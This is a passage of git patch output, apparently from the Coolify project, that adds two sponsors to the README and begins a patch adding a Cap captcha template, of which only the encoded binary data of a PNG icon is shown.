 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 9a5feff4e..494ad007a 100644
--- a/README.md
+++ b/README.md
@@ -60,7 +60,7 @@ ### Huge Sponsors
 * [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality
 * [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API
 * [ScreenshotOne](https://screenshotone.com?ref=coolify.io) - Screenshot API for devs
-*
+* [PrivateAlps](https://privatealps.net?ref=coolify.io) - Offshore hosting — anonymity, uncensored, security.
 
 ### Big Sponsors
 
@@ -151,6 +151,7 @@ ### Small Sponsors
 <a href="https://capgo.app/?utm_source=coolify.io"><img width="60px" alt="Cap-go" src="https://github.com/cap-go.png"/></a>
 <a href="https://interviewpal.com/?utm_source=coolify.io"><img width="60px" alt="InterviewPal" src="/public/svgs/interviewpal.svg"/></a>
 <a href="https://transcript.lol/?utm_source=coolify.io"><img width="60px" alt="Transcript LOL" src="https://transcript.lol/logo.png"/></a>
+<a href="https://youstable.com/?utm_source=coolify.io"><img width="60px" alt="YouStable" src="https://github.com/youstable.png"/></a>
 
 
 ...and many more at [GitHub Sponsors](https://github.com/sponsors/coollabsio)

From 0c1c5c5831f375867e1c8c410ec7300ddeb2b405 Mon Sep 17 00:00:00 2001
From: tiago <70700766+tiagozip@users.noreply.github.com>
Date: Wed, 22 Apr 2026 10:03:06 +0100
Subject: [PATCH 082/102] feat: add Cap to templates

---
 public/svgs/cap-captcha.png        | Bin 0 -> 32805 bytes
 templates/compose/cap-captcha.yaml |  27 +++++++++++++++++++++++++++
 2 files changed, 27 insertions(+)
 create mode 100644 public/svgs/cap-captcha.png
 create mode 100644 templates/compose/cap-captcha.yaml

diff --git a/public/svgs/cap-captcha.png b/public/svgs/cap-captcha.png
new file mode 100644
index 0000000000000000000000000000000000000000..4b6a7df1424b62b5d5e72c0754fdd509fdf6a90b
GIT binary patch
literal 32805
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
